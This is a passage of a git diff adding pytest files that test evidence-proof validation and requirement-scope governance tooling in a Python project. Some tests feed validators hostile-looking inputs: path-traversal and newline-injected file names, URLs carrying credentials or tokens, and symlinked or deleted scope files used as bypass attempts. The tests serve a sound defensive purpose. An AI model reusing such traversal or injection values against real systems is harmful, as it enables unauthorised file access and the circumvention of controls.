payload["capabilities"]["observation"]["capture_offers"][0][name] = value + manifest = BackendManifestV2Model.model_validate(payload) + references = [ + reference.model_copy(update={"ref_digest": canonical_json_digest(payload)}) + if reference.subject_ref.ref_kind == "backend" + else reference + for reference in request.apparatus.manifest_refs + ] + return replace( + request, + apparatus=request.apparatus.model_copy(update={"manifest_refs": references}), + apparatus_manifests={**request.apparatus_manifests, _BACKEND_KEY: manifest}, + ) + + +def _reseal_apparatus(admitted, apparatus): + # A well-formed self-digest is not proof of capability admission. Re-seal + # every layer so realization must actually recheck the capture invariant. + entries = {} + for key, entry in admitted.entries.items(): + payload = {name: value for name, value in entry if name != "entry_digest"} + payload["apparatus"] = apparatus + entries[key] = seal_admitted_trial_entry(**payload) + payload = {name: value for name, value in admitted if name not in {"plan_digest", "entries"}} + return seal_admitted_trial_plan(**payload, entries=entries) + + +@pytest.mark.parametrize("failure", [None, *CAPTURE_FAILURES]) +def test_capture_invariant_across_planning_compilation_realization_and_runtime(failure: str | None) -> None: + request = _request_with_processor() + accepted = compile_admitted_trial_plan(request) + assert accepted.plan is not None + assert accepted.diagnostics == () + admitted = accepted.plan + entry_id = next(iter(admitted.entries)) + instantiated = instantiate_admitted_trial_entry(plan=admitted, plan_entry_id=entry_id, family=request.family) + task = ExperimentTaskModel.model_validate_json(_TASK_FIXTURE.read_bytes()) + if failure is not None: + unsupported, diagnostic = CAPTURE_FAILURES[failure] + request = _with_offer_change(request, failure, unsupported) + admitted = _reseal_apparatus(admitted, request.apparatus) + runtime_manifest = backend_manifest_from_v2_model_with_envelope( + request.apparatus_manifests[_BACKEND_KEY], + request.realization_envelope, + ) + target = replace(create_stub_target(), manifest=runtime_manifest, time_runtime=None) + runtime_model = replace( + compile_runtime_model(instantiated), + capture_demands=compile_capture_spec_demands(tuple(request.capture_specs.values())), + ) + execution = plan(runtime_model, runtime_manifest, scope=PlanScope(target_name=target.name)) + compilation = compile_admitted_trial_plan(request) + inputs = _realization_inputs(request, admitted, task) + control_plane = RuntimeControlPlane(target) + if failure is None: + assert execution.is_valid + assert compilation.plan is not None + assert realize_admitted_trial_entry(inputs=inputs, plan_entry_id=entry_id).execution_plan.is_valid + control_plane.register_planner_produced_plan(execution) + assert control_plane.is_planner_authorized_plan(execution.provisioning) + else: + assert not execution.is_valid + assert compilation.plan is None + assert any(item.code == f"capture.{diagnostic}" for item in execution.diagnostics) + assert any(item.code == f"capture.{diagnostic}" for item in compilation.diagnostics) + with pytest.raises(ValueError, match="processor planning failed"): + realize_admitted_trial_entry(inputs=inputs, plan_entry_id=entry_id) + with pytest.raises(ValueError, match="invalid composite"): + control_plane.register_planner_produced_plan(execution) + assert execution.provisioning.operations + for phase in ("provisioning", "orchestration", "evaluation"): + submitted = getattr(execution, phase) + if not submitted.operations and not plan_can_mutate(submitted): + continue + receipt = getattr(control_plane, f"submit_{phase}")(submitted) + assert not receipt.accepted + assert control_plane.snapshot.entries == {} diff --git a/implementations/python/tests/test_issue_1237_evidence_proof.py b/implementations/python/tests/test_issue_1237_evidence_proof.py new file mode 100644 index 000000000..541db7710 --- /dev/null +++ b/implementations/python/tests/test_issue_1237_evidence_proof.py @@ -0,0 +1,287 @@ +"""Evidence consumers retain content proof rather than reference assertions.""" + +from __future__ import annotations + +import io +import pickle +from dataclasses import FrozenInstanceError, asdict + +import pytest +from raes_contracts.contracts import ( + ExperimentRunEvidenceInputs, + ExperimentStudyModel, + validate_experiment_run_against_task, + validate_experiment_study_against_tasks_and_runs, +) +from raes_contracts.contracts.experiment_conditions import _run_satisfies_condition_reference +from raes_contracts.contracts.experiment_manifest_references import ExperimentEvidenceSatisfactionReferenceModel +from raes_contracts.evidence_satisfaction import validate_experiment_run_evidence +from test_issue_1112_capture_admission import _evidence_bundle, _fixture + + +def _prove_bundle(): + task, run, spec, record, payload = _evidence_bundle() + proof = validate_experiment_run_against_task( + task, + run, + evidence=ExperimentRunEvidenceInputs( + {spec.capture_spec_id: spec}, + {record.evidence_record_id: record}, + {run.evidence_artifacts[0].artifact_id: io.BytesIO(payload)}, + ), + ) + return task, run, proof + + +def test_run_validation_returns_immutable_content_proof() -> None: + task, run, proof = _prove_bundle() + reference = task.evaluation_protocol.observation_requirements[0] + assert type(proof).__name__ == "ValidatedRunEvidence" + assert proof.satisfies(run, reference) + assert proof.bindings[0].artifact_id == run.evidence_artifacts[0].artifact_id + with pytest.raises(FrozenInstanceError): + proof.bindings = () + proof_type = type(proof) + with pytest.raises(TypeError, match="content validation"): + proof_type() + binding_type = type(proof.bindings[0]) + binding_payload = asdict(proof.bindings[0]) + with pytest.raises(TypeError): + binding_type(**binding_payload) + + +def test_condition_consumer_rejects_reference_metadata_as_proof() -> None: + task, run, _, _, _ = _evidence_bundle() + reference = task.evaluation_protocol.observation_requirements[0] + with pytest.raises(ValueError, match="validated evidence proof"): + _run_satisfies_condition_reference(run, reference, (reference,)) + + +def test_proof_cannot_be_restored_from_serialized_metadata() -> None: + _, _, proof = _prove_bundle() + with pytest.raises(TypeError, match="content validation"): + pickle.dumps(proof) + + +def test_proof_is_bound_to_the_validated_task_content() -> None: + task, run, proof = _prove_bundle() + changed_task = task.model_copy(update={"title": "Different evaluation protocol"}) + with pytest.raises(ValueError, match="proof.*task"): + proof.require_context(changed_task, run) + + +@pytest.mark.parametrize("field,value", [("run_id", "other-run"), ("started_at", "2026-05-26T00:11:00Z")]) +def test_condition_consumer_rejects_proof_for_changed_run(field: str, value: str) -> None: + task, run, proof = _prove_bundle() + reference = task.evaluation_protocol.observation_requirements[0] + changed = run.model_copy(update={field: value}) + with pytest.raises(ValueError, match="proof.*run"): + _run_satisfies_condition_reference(changed, reference, proof) + + +def test_proof_binding_is_a_snapshot_of_validated_artifact() -> None: + task, run, proof = _prove_bundle() + reference = task.evaluation_protocol.observation_requirements[0] + original_digest = proof.bindings[0].artifact_digest + run.evidence_artifacts[0].checksum.value = "0" * 64 + assert proof.bindings[0].artifact_digest == original_digest + with pytest.raises(ValueError, match="proof.*run"): + proof.satisfies(run, reference) + + +@pytest.mark.parametrize("target", ["task", "run", "spec", "record"]) +def test_proof_uses_metadata_snapshot_from_before_reader_callbacks(target: str) -> None: + task, run, spec, record, payload = _evidence_bundle() + original_task = task.model_copy(deep=True) + original_run = run.model_copy(deep=True) + original_record_id = record.evidence_record_id + original_spec_version = spec.spec_version + readers = {} + + class MutatingReader(io.BytesIO): + def read(self, size=-1): + if target == "task": + task.title = "Changed during I/O" + elif target == "run": + run.run_id = "changed-during-io" + elif target == "spec": + spec.spec_version = "99.0.0" + elif target == "record": + record.evidence_record_id = "changed-during-io" + return super().read(size) + + readers[run.evidence_artifacts[0].artifact_id] = MutatingReader(payload) + proof = validate_experiment_run_evidence( + task, + run, + capture_specs={spec.capture_spec_id: spec}, + evidence_records={record.evidence_record_id: record}, + artifact_readers=readers, + ) + proof.require_context(original_task, original_run) + assert proof.bindings[0].record_id == original_record_id + assert proof.bindings[0].capture_spec_version == original_spec_version + + +def test_proof_does_not_retain_plaintext_artifact_locators() -> None: + task, run, proof = _prove_bundle() + path = run.evidence_artifacts[0].uri + reference = task.evaluation_protocol.observation_requirements[0].model_copy(update={"ref_path": path}) + assert proof.satisfies(run, reference) + assert not proof.satisfies(run, reference.model_copy(update={"ref_path": path + ".other"})) + assert path not in repr(asdict(proof.bindings[0])) + + +@pytest.mark.parametrize( + "locator", + [ + "https://user:password@example.invalid/evidence", + "https://example.invalid/evidence?token=private", + "runs/evidence.json?signature=private", + "file:///tmp/evidence.json", + ], +) +def test_unsafe_evidence_locators_fail_before_reader_io(locator): + task, run, spec, record, payload = _evidence_bundle() + run.evidence_artifacts[0].uri = locator + record.raw_content.content_uri = locator + + class Unreadable(io.BytesIO): + def read(self, _size=-1): + pytest.fail("unsafe locator reached artifact I/O") + + reader = Unreadable(payload) + with pytest.raises(ValueError, match="locator"): + validate_experiment_run_evidence( + task, + run, + capture_specs={spec.capture_spec_id: spec}, + evidence_records={record.evidence_record_id: record}, + artifact_readers={run.evidence_artifacts[0].artifact_id: reader}, + ) + + +@pytest.mark.parametrize("limit", ["_MAX_EVIDENCE_ITEMS", "_MAX_TOTAL_EVIDENCE_BYTES"]) +def test_evidence_aggregate_limits_reject_before_reader_io(monkeypatch, limit): + import raes_contracts.evidence_satisfaction as evidence + + task, run, spec, record, payload = _evidence_bundle() + monkeypatch.setattr(evidence, limit, 0, raising=False) + with pytest.raises(ValueError, match="validation limit"): + validate_experiment_run_evidence( + task, + run, + capture_specs={spec.capture_spec_id: spec}, + evidence_records={record.evidence_record_id: record}, + artifact_readers={}, + ) + + +def test_shared_artifact_is_read_once_but_each_requirement_is_checked(): + task, run, spec, record, payload = _evidence_bundle() + requirement = spec.capture_requirements["auth-log-evidence"] + spec.capture_requirements["second-evidence"] = requirement.model_copy(update={"requirement_id": "second-evidence"}) + second = record.model_copy( + update={ + "evidence_record_id": "second-record", + "capture_requirement_ref": "second-evidence", + } + ) + run.traceability.evidence_record_refs.append( + run.traceability.evidence_record_refs[0].model_copy(update={"ref_id": "second-record"}) + ) + readers = {} + + class MappingMutatingReader(io.BytesIO): + def read(self, size=-1): + readers.clear() + return super().read(size) + + readers[run.evidence_artifacts[0].artifact_id] = MappingMutatingReader(payload) + proof = validate_experiment_run_evidence( + task, + run, + capture_specs={spec.capture_spec_id: spec}, + evidence_records={record.evidence_record_id: record, second.evidence_record_id: second}, + artifact_readers=readers, + ) + assert {binding.requirement_id for binding in proof.bindings} == {"auth-log-evidence", "second-evidence"} + spec.capture_requirements["second-evidence"].field_selectors = ["/missing"] + reader = io.BytesIO(payload) + with pytest.raises(ValueError, match="field selector"): + validate_experiment_run_evidence( + task, + run, + capture_specs={spec.capture_spec_id: spec}, + evidence_records={record.evidence_record_id: record, second.evidence_record_id: second}, + artifact_readers={run.evidence_artifacts[0].artifact_id: reader}, + ) + + +@pytest.mark.parametrize("consumer", ["run", "task", "study"]) +@pytest.mark.parametrize("failure", [None, "bytes", "checksum", "fields", "source", "window", "loss", "withheld"]) +def test_all_evidence_consumers_require_the_same_emitted_content(consumer: str, failure: str | None) -> None: + task, run, spec, record, payload = _evidence_bundle() + if failure == "bytes": + payload = b"" + elif failure == "checksum": + payload = b"x" * len(payload) + elif failure == "fields": + spec.capture_requirements["auth-log-evidence"].field_selectors = ["/missing"] + elif failure == "source": + record.source_refs = [record.source_refs[0].model_copy(update={"ref_id": "different-source"})] + elif failure == "window": + record.captured_at = "2026-05-26T00:00:00Z" + elif failure == "loss": + record.raw_content.loss_disclosure = "Events omitted." + elif failure == "withheld": + record.redaction_state = "withheld" + # Strong-looking metadata accompanies every negative vector. + reference = task.evaluation_protocol.observation_requirements[0] + run.evidence_artifacts[0].satisfies_refs = [ + ExperimentEvidenceSatisfactionReferenceModel(ref_kind="evidence", ref_id=reference.ref_id), + ] + inputs = ExperimentRunEvidenceInputs( + {spec.capture_spec_id: spec}, + {record.evidence_record_id: record}, + {run.evidence_artifacts[0].artifact_id: io.BytesIO(payload)}, + ) + study_payload = _fixture("experiment-study-v1") + study_payload["run_allocation"]["condition_assignments"]["baseline"]["required_refs"] = [ + reference.model_dump(mode="json"), + ] + + def validate(): + if consumer == "run": + return validate_experiment_run_evidence( + task, + run, + capture_specs=inputs.capture_specs, + evidence_records=inputs.evidence_records, + artifact_readers=inputs.artifact_readers, + ) + if consumer == "task": + return validate_experiment_run_against_task(task, run, evidence=inputs) + return validate_experiment_study_against_tasks_and_runs( + ExperimentStudyModel.model_validate(study_payload), + [task], + [run], + evidence_by_run={run.run_id: inputs}, + ) + + if failure is None: + result = validate() + if consumer != "study": + assert _run_satisfies_condition_reference(run, reference, result) + else: + messages = { + "bytes": "declared size", + "checksum": "checksum", + "fields": "field selector", + "source": "source", + "window": "capture window", + "loss": "lossy", + "withheld": "withheld", + } + with pytest.raises(ValueError, match=messages[failure]): + validate() diff --git a/implementations/python/tests/test_issue_1237_governance.py b/implementations/python/tests/test_issue_1237_governance.py new file mode 100644 index 000000000..bf6305241 --- /dev/null +++ b/implementations/python/tests/test_issue_1237_governance.py @@ -0,0 +1,53 @@ +"""Evidence ownership retains prerequisite and traceability enforcement.""" + +from pathlib import Path + +import pytest +from tools.policy.repository_requirements import RepositoryRequirementClient +from tools.policy.requirement_governance import evaluate_requirement_governance + +ROOT = Path(__file__).resolve().parents[3] +EVIDENCE_PATH = "implementations/python/packages/raes_contracts/evidence_output_validation.py" + + +@pytest.mark.parametrize("uid", ["EXP-708", "EXP-715"]) +def test_evidence_requirements_own_registered_output_validation(uid): + assert ( + evaluate_requirement_governance( + ROOT, [EVIDENCE_PATH], client=RepositoryRequirementClient(ROOT), requirement_uid=uid + ) + == [] + ) + + +@pytest.mark.parametrize("uid", ["EXP-708", "EXP-715"]) +def test_evidence_ownership_does_not_authorize_unrelated_runtime_code(uid): + failures = evaluate_requirement_governance( + ROOT, + ["implementations/python/packages/raes_controlplane/security.py"], + client=RepositoryRequirementClient(ROOT), + requirement_uid=uid, + ) + assert {failure.rule_id for failure in failures} == { + "requirement-ownership-mismatch", + "traceability-missing-implements", + } + + +@pytest.mark.parametrize("uid", ["EXP-708", "EXP-715"]) +def test_evidence_phase_requires_active_experiment_core_and_traceability(uid): + class IncompleteClient(RepositoryRequirementClient): + def get_requirement(self, project, requirement_uid): + result = super().get_requirement(project, requirement_uid) + return {**result, "status": "DRAFT"} if requirement_uid == "EXP-701" else result + + def get_traceability(self, requirement_id): + return [] + + failures = evaluate_requirement_governance( + ROOT, [EVIDENCE_PATH], client=IncompleteClient(ROOT), requirement_uid=uid + ) + assert {failure.rule_id for failure in failures} == { + "requirement-order-blocked", + "traceability-missing-implements", + } diff --git a/implementations/python/tests/test_issue_1237_output_registry.py b/implementations/python/tests/test_issue_1237_output_registry.py new file mode 100644 index 000000000..159c482a1 --- /dev/null +++ b/implementations/python/tests/test_issue_1237_output_registry.py @@ -0,0 +1,72 @@ +"""Evidence eligibility requires an atomic published-schema/validator entry.""" + +from __future__ import annotations + +from dataclasses import replace +from functools import partial + +import pytest +from raes_contracts.contracts import ObservationCaptureOfferModel +from test_issue_1112_capture_admission import _evidence_bundle, _offer, _validate_evidence_bundle + + +def _validation_call(ingress, payload, bundle, **offer_updates): + calls = { + "protocol": partial(_offer, **offer_updates), + "model": partial(ObservationCaptureOfferModel.model_validate, payload), + "content": partial(_validate_evidence_bundle, *bundle), + } + return calls[ingress] + + +@pytest.mark.parametrize("contract", ["unknown-output-v1", "experiment-task-v1"]) +@pytest.mark.parametrize("ingress", ["protocol", "model", "content"]) +def test_missing_output_owner_is_rejected_at_every_boundary(contract: str, ingress: str) -> None: + payload = {**_offer().to_payload(), "output_contract": contract} + bundle = _evidence_bundle() + if ingress == "content": + bundle[2].capture_requirements["auth-log-evidence"].output_contract = contract + bundle[3].output_contract = contract + validate = _validation_call(ingress, payload, bundle, output_contract=contract) + with pytest.raises(ValueError, match="output_contract"): + validate() + + +@pytest.mark.parametrize("ingress", ["protocol", "model", "content"]) +def test_missing_published_schema_cannot_use_generated_fallback(tmp_path, monkeypatch, ingress: str) -> None: + import raes_contracts.corpus as corpus + + valid_offer = _offer().to_payload() + validate = _validation_call(ingress, valid_offer, _evidence_bundle()) + monkeypatch.setattr(corpus, "corpus_root", lambda: tmp_path) + with pytest.raises(ValueError, match="published schema"): + validate() + + +@pytest.mark.parametrize("ingress", ["protocol", "model", "content"]) +def test_missing_semantic_validator_never_degrades_to_schema_only(monkeypatch, ingress: str) -> None: + import raes_contracts.evidence_output_validation as registry + + valid_offer = _offer().to_payload() + registrations = dict(registry.evidence_output_registrations()) + key = valid_offer["output_contract"] + registrations[key] = replace(registrations[key], semantic_validator=None) + validate = _validation_call(ingress, valid_offer, _evidence_bundle()) + monkeypatch.setattr(registry, "evidence_output_registrations", lambda: registrations) + with pytest.raises(ValueError, match="owning semantic validator"): + validate() + + +@pytest.mark.parametrize("ingress", ["protocol", "model"]) +def test_offer_encoding_must_have_a_registered_content_validator(ingress: str) -> None: + payload = _offer().to_payload() + payload.update(output_contract="experiment-evidence-record-v1", media_types=["application/jsonl"]) + calls = { + "model": partial(ObservationCaptureOfferModel.model_validate, payload), + "protocol": partial( + _offer, output_contract="experiment-evidence-record-v1", media_types=frozenset({"application/jsonl"}) + ), + } + validate = calls[ingress] + with pytest.raises(ValueError, match="media.*output_contract"): + validate() diff --git a/implementations/python/tests/test_issue_1237_requirement_scope.py b/implementations/python/tests/test_issue_1237_requirement_scope.py new file mode 100644 index 000000000..ed6f1ee0e --- /dev/null +++ b/implementations/python/tests/test_issue_1237_requirement_scope.py @@ -0,0 +1,433 @@ +"""Mixed-requirement delivery preserves each owner's independent predicates.""" + +from __future__ import annotations + +import json +import os +import subprocess +import sys +from pathlib import Path +from types import SimpleNamespace + +import pytest +import yaml + +CODE = "implementations/python/packages/example.py" +TEST = "implementations/python/tests/test_example.py" + + +@pytest.fixture(autouse=True) +def isolated_requirement_environment(monkeypatch): + for name in ("RAES_REQUIREMENT_UID", "RAES_REQUIREMENT_BRANCH", "GITHUB_HEAD_REF", "GITHUB_BASE_REF"): + monkeypatch.delenv(name, raising=False) + + +def scope_document(): + return { + "schema_version": "requirement-scope/v1", + "issue_number": 1237, + "primary_requirement_uid": "EXP-708", + "requirement_uids": ["EXP-708", "GOV-913"], + "bindings": {CODE: ["EXP-708"], TEST: ["GOV-913"]}, + } + + +@pytest.fixture +def scope_repo(tmp_path): + policy = { + "project": "example", + "requirement_source": "repository", + "phases": [ + {"id": "foundation", "requirements": ["EXP-701"]}, + {"id": "evidence", "requirements": ["EXP-708"], "blocked_until": ["foundation"]}, + {"id": "tooling", "requirements": ["GOV-913"]}, + ], + "ownership": {"evidence": [CODE], "tooling": [TEST]}, + "traceability": { + "required_code_roots": ["implementations/python/packages"], + "required_test_roots": ["implementations/python/tests"], + }, + } + policy_dir = tmp_path / "tools/policy" + policy_dir.mkdir(parents=True) + (policy_dir / "requirement_order.yaml").write_text(yaml.safe_dump(policy)) + (policy_dir / "exceptions.yaml").write_text("exceptions: []\n") + for uid, link in [ + ("EXP-701", ""), + ("EXP-708", f"- IMPLEMENTS → CODE_FILE `{CODE}`\n"), + ("GOV-913", f"- TESTS → TEST `{TEST}`\n"), + ]: + path = tmp_path / "docs/requirements" / uid / "requirement.md" + path.parent.mkdir(parents=True) + path.write_text(f"---\nid: {uid}\nstatus: ACTIVE\n---\n## Traceability\n{link}") + return tmp_path + + +def evaluate(root, document=None, paths=None): + from tools.policy.repository_requirements import RepositoryRequirementClient + from tools.policy.requirement_scope import evaluate_requirement_scope, parse_requirement_scope + + scope = parse_requirement_scope(document or scope_document(), issue_number=1237) + return evaluate_requirement_scope( + root, + paths if paths is not None else [CODE, TEST], + client=RepositoryRequirementClient(root), + scope=scope, + ) + + +def test_mixed_scope_checks_each_file_against_its_actual_requirement(scope_repo): + assert evaluate(scope_repo) == [] + + +def test_mixed_scope_cannot_borrow_another_requirements_traceability(scope_repo): + document = scope_document() + document["bindings"][TEST] = ["EXP-708"] + assert {item.rule_id for item in evaluate(scope_repo, document)} == { + "requirement-ownership-mismatch", + "traceability-missing-tests", + } + + +def test_mixed_scope_requires_an_explicit_assignment_for_every_changed_file(scope_repo): + failures = evaluate(scope_repo, paths=[CODE, TEST, "docs/unassigned.md"]) + assert [(item.rule_id, item.path) for item in failures] == [ + ("requirement-scope-unassigned", "docs/unassigned.md"), + ] + + +@pytest.mark.parametrize("uid,status", [("GOV-913", "ARCHIVED"), ("GOV-913", "DEPRECATED"), ("EXP-701", "DRAFT")]) +def test_mixed_scope_retains_status_and_prerequisite_gates(scope_repo, uid, status): + path = scope_repo / "docs/requirements" / uid / "requirement.md" + path.write_text(path.read_text().replace("status: ACTIVE", f"status: {status}")) + expected = "requirement-order-blocked" if uid == "EXP-701" else "requirement-invalid-status" + assert expected in {item.rule_id for item in evaluate(scope_repo)} + + +def test_every_shared_assignment_must_pass_not_just_one(scope_repo): + document = scope_document() + document["bindings"][TEST] = ["EXP-708", "GOV-913"] + assert "traceability-missing-tests" in {item.rule_id for item in evaluate(scope_repo, document)} + + +def test_listed_requirements_are_checked_even_without_current_changed_files(scope_repo): + path = scope_repo / "docs/requirements/GOV-913/requirement.md" + path.write_text(path.read_text().replace("status: ACTIVE", "status: ARCHIVED")) + assert "requirement-invalid-status" in {item.rule_id for item in evaluate(scope_repo, paths=[CODE])} + + +@pytest.mark.parametrize( + "field,value", + [ + ("schema_version", "unknown/v1"), + ("issue_number", 1238), + ("issue_number", True), + ("primary_requirement_uid", "GOV-999"), + ("requirement_uids", []), + ("requirement_uids", ["EXP-708", "EXP-708"]), + ("requirement_uids", ["EXP-708", "../GOV-913"]), + ("bindings", {CODE: ["GOV-999"]}), + ("bindings", {CODE: []}), + ("bindings", {CODE: ["EXP-708", "EXP-708"]}), + ("bindings", {"../outside.py": ["EXP-708"]}), + ("bindings", {"/absolute.py": ["EXP-708"]}), + ("bindings", {"implementations/*.py": ["EXP-708"]}), + ("bindings", {"implementations/../other.py": ["EXP-708"]}), + ("bindings", {"implementations//other.py": ["EXP-708"]}), + ("bindings", {"C:\\outside.py": ["EXP-708"]}), + ("bindings", {".": ["EXP-708"]}), + ("bindings", {"safe\nforged.py": ["EXP-708"]}), + ("bindings", {}), + ("bindings", []), + ], +) +def test_scope_rejects_malformed_or_ambiguous_authority(field, value): + from tools.policy.requirement_scope import RequirementScopeError, parse_requirement_scope + + document = scope_document() + document[field] = value + with pytest.raises(RequirementScopeError): + parse_requirement_scope(document, issue_number=1237) + + +def test_scope_rejects_unknown_fields(): + from tools.policy.requirement_scope import RequirementScopeError, parse_requirement_scope + + document = {**scope_document(), "fallback": True} + with pytest.raises(RequirementScopeError): + parse_requirement_scope(document, issue_number=1237) + + +def write_scope(root: Path, content=None): + path = root / "docs/governance/requirement-scopes/1237.json" + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(json.dumps(scope_document()) if content is None else content) + return path + + +def commit_scope_fixture(root: Path, message: str): + subprocess.run( + [ + "git", + "-c", + "user.name=Scope Test", + "-c", + "user.email=scope@example.invalid", + "commit", + "--allow-empty", + "-m", + message, + ], + cwd=root, + capture_output=True, + check=True, + ) + + +@pytest.mark.parametrize("removal", ["delete", "rename", "committed-delete", "base-only"]) +@pytest.mark.parametrize("entry", ["resolver", "cli", "hook"]) +def test_established_scope_removal_cannot_enable_legacy_skip(scope_repo, monkeypatch, capsys, removal, entry): + import tools.requirement_context as context + from tools.policy.requirement_scope import RequirementScopeError + + subprocess.run(["git", "init", "-b", "1237-capture"], cwd=scope_repo, capture_output=True, check=True) + commit_scope_fixture(scope_repo, "root") + path = write_scope(scope_repo) + subprocess.run(["git", "add", "."], cwd=scope_repo, capture_output=True, check=True) + commit_scope_fixture(scope_repo, "establish scope") + if removal == "base-only": + subprocess.run( + ["git", "update-ref", "refs/remotes/origin/dev", "HEAD"], cwd=scope_repo, capture_output=True, check=True + ) + subprocess.run(["git", "switch", "--detach", "HEAD~1"], cwd=scope_repo, capture_output=True, check=True) + else: + if removal == "rename": + path.rename(path.with_name("renamed.json")) + else: + path.unlink() + subprocess.run(["git", "add", "-A"], cwd=scope_repo, capture_output=True, check=True) + if removal == "committed-delete": + commit_scope_fixture(scope_repo, "remove scope") + if entry == "resolver": + with pytest.raises(RequirementScopeError): + context.resolve_requirement_context(scope_repo, "1237-capture") + elif entry == "cli": + monkeypatch.setattr(context, "REPO_ROOT", scope_repo) + assert context.main(["--branch", "1237-capture"]) == 1 + assert capsys.readouterr().out == "" + else: + monkeypatch.setitem(sys.modules, "nox", SimpleNamespace(Session=object)) + from tools.nox_support import runner + + monkeypatch.setattr(runner, "REPO_ROOT", scope_repo) + monkeypatch.setattr(runner, "current_requirement_branch", lambda _root: "1237-capture") + with pytest.raises(RequirementScopeError): + runner._requirement_aware_policy_args("--skip-requirement") + + +def test_new_git_issue_without_scope_preserves_legacy_context(tmp_path): + from tools.requirement_context import resolve_requirement_context + + subprocess.run(["git", "init", "-b", "1238-legacy"], cwd=tmp_path, capture_output=True, check=True) + assert resolve_requirement_context(tmp_path, "1238-legacy") == (None, None) + + +def test_index_only_scope_cannot_disappear_before_first_commit(tmp_path): + from tools.policy.requirement_scope import RequirementScopeError, load_requirement_scope + + subprocess.run(["git", "init", "-b", "1237-capture"], cwd=tmp_path, capture_output=True, check=True) + path = write_scope(tmp_path) + subprocess.run(["git", "add", "."], cwd=tmp_path, capture_output=True, check=True) + path.unlink() + with pytest.raises(RequirementScopeError): + load_requirement_scope(tmp_path, "1237-capture") + + +@pytest.mark.parametrize("failure", [subprocess.TimeoutExpired("git", 10), subprocess.CalledProcessError(128, "git")]) +def test_scope_history_failure_cannot_enable_legacy_skip(tmp_path, monkeypatch, failure): + from tools.policy import requirement_scope + + (tmp_path / ".git").mkdir() + + def unavailable(*_args, **_kwargs): + raise failure + + monkeypatch.setattr(requirement_scope.subprocess, "run", unavailable) + with pytest.raises(requirement_scope.RequirementScopeError): + requirement_scope.load_requirement_scope(tmp_path, "1237-capture") + + +def test_context_resolves_scope_on_numeric_issue_branch_and_preserves_legacy(tmp_path): + from tools.requirement_context import resolve_requirement_context + + write_scope(tmp_path) + uid, scope = resolve_requirement_context(tmp_path, "1237-capture-evidence-authority") + assert uid == "EXP-708" + assert scope.requirement_uids == ("EXP-708", "GOV-913") + assert resolve_requirement_context(tmp_path, "1238-GOV-918-other") == ("GOV-918", None) + assert resolve_requirement_context(tmp_path, "dev") == (None, None) + + +def test_explicit_primary_conflict_cannot_select_a_weaker_requirement(tmp_path): + from tools.policy.requirement_scope import RequirementScopeError + from tools.requirement_context import resolve_requirement_context + + write_scope(tmp_path) + with pytest.raises(RequirementScopeError): + resolve_requirement_context(tmp_path, "1237-capture", "GOV-913") + + +@pytest.mark.parametrize("content", ["{", '{"issue_number":1237,"issue_number":1238}', "[]"]) +def test_invalid_scope_never_falls_back_to_single_requirement(tmp_path, content): + from tools.policy.requirement_scope import RequirementScopeError + from tools.requirement_context import resolve_requirement_context + + write_scope(tmp_path, content) + with pytest.raises(RequirementScopeError): + resolve_requirement_context(tmp_path, "1237-capture", "EXP-708") + + +def test_scope_file_cannot_be_a_symlink(tmp_path): + from tools.policy.requirement_scope import RequirementScopeError, load_requirement_scope + + path = write_scope(tmp_path) + actual = path.with_suffix(".retained") + path.rename(actual) + path.symlink_to(actual) + with pytest.raises(RequirementScopeError): + load_requirement_scope(tmp_path, "1237-capture") + + +@pytest.mark.parametrize("extra", [[], ["docs/unassigned.md"]]) +def test_cli_governance_enforces_mixed_scope(scope_repo, monkeypatch, capsys, extra): + import tools.check_requirement_governance as gate + + write_scope(scope_repo) + monkeypatch.setattr(gate, "REPO_ROOT", scope_repo) + monkeypatch.setattr(gate, "current_branch", lambda _root: "1237-capture") + monkeypatch.setattr(sys, "argv", ["gate", "--json", CODE, TEST, *extra]) + assert gate.main() == (1 if extra else 0) + if extra: + assert json.loads(capsys.readouterr().out)[0]["rule_id"] == "requirement-scope-unassigned" + + +def test_cli_rejects_malformed_scope_even_for_exempt_only_changes(scope_repo, monkeypatch, capsys): + import tools.check_requirement_governance as gate + + write_scope(scope_repo, "{") + monkeypatch.setattr(gate, "REPO_ROOT", scope_repo) + monkeypatch.setattr(gate, "current_branch", lambda _root: "1237-capture") + monkeypatch.setattr(sys, "argv", ["gate", "--json", "tools/example.py"]) + assert gate.main() == 1 + assert json.loads(capsys.readouterr().out)[0]["rule_id"] == "requirement-scope-invalid" + + +def test_nox_hooks_use_scope_and_refuse_explicit_skip(scope_repo, monkeypatch): + monkeypatch.setitem(sys.modules, "nox", SimpleNamespace(Session=object)) + from tools.nox_support import runner + from tools.policy.requirement_scope import RequirementScopeError + + write_scope(scope_repo) + monkeypatch.setattr(runner, "REPO_ROOT", scope_repo) + monkeypatch.setattr(runner, "current_requirement_branch", lambda _root: "1237-capture") + assert runner._requirement_aware_policy_args("--staged") == ["--staged"] + with pytest.raises(RequirementScopeError): + runner._requirement_aware_policy_args("--skip-requirement") + + +def test_context_uses_detached_ci_branch_and_emits_only_canonical_uid(scope_repo, monkeypatch, capsys): + import tools.requirement_context as context + + write_scope(scope_repo) + monkeypatch.setattr(context, "REPO_ROOT", scope_repo) + monkeypatch.setenv("RAES_REQUIREMENT_BRANCH", "1237-capture") + assert context.current_requirement_branch(scope_repo) == "1237-capture" + assert context.main([]) == 0 + assert capsys.readouterr().out == "EXP-708\n" + + +@pytest.mark.parametrize("kind", ["directory", "oversized", "dangling", "parent-symlink"]) +def test_scope_reader_rejects_unsafe_authority(scope_repo, kind): + from tools.policy.requirement_scope import RequirementScopeError, load_requirement_scope + + path = write_scope(scope_repo) + if kind == "oversized": + path.write_text(" " * (256 * 1024 + 1)) + else: + path.unlink() + if kind == "directory": + path.mkdir() + elif kind == "dangling": + path.symlink_to(path.with_suffix(".absent")) + else: + parent = path.parent + actual = parent.with_name("retained-scopes") + parent.rename(actual) + parent.symlink_to(actual, target_is_directory=True) + with pytest.raises(RequirementScopeError): + load_requirement_scope(scope_repo, "1237-capture") + + +@pytest.mark.integration +def test_actual_ci_resolver_retains_governance_for_numeric_issue_branches(tmp_path): + root = Path(__file__).resolve().parents[3] + workflow = yaml.safe_load((root / ".github/workflows/canonical-verification.yml").read_text()) + steps = workflow["jobs"]["checks"]["steps"] + step = next(step for step in steps if step.get("id") == "requirement") + output = tmp_path / "github-output" + environment = {**os.environ, "BRANCH": "1237-capture-evidence-authority", "GITHUB_OUTPUT": str(output)} + subprocess.run( + ["bash", "-e", "-o", "pipefail", "-c", step["run"]], + cwd=root, + env=environment, + capture_output=True, + text=True, + check=True, + ) + assert output.read_text() == "uid=EXP-708\n" + + +def 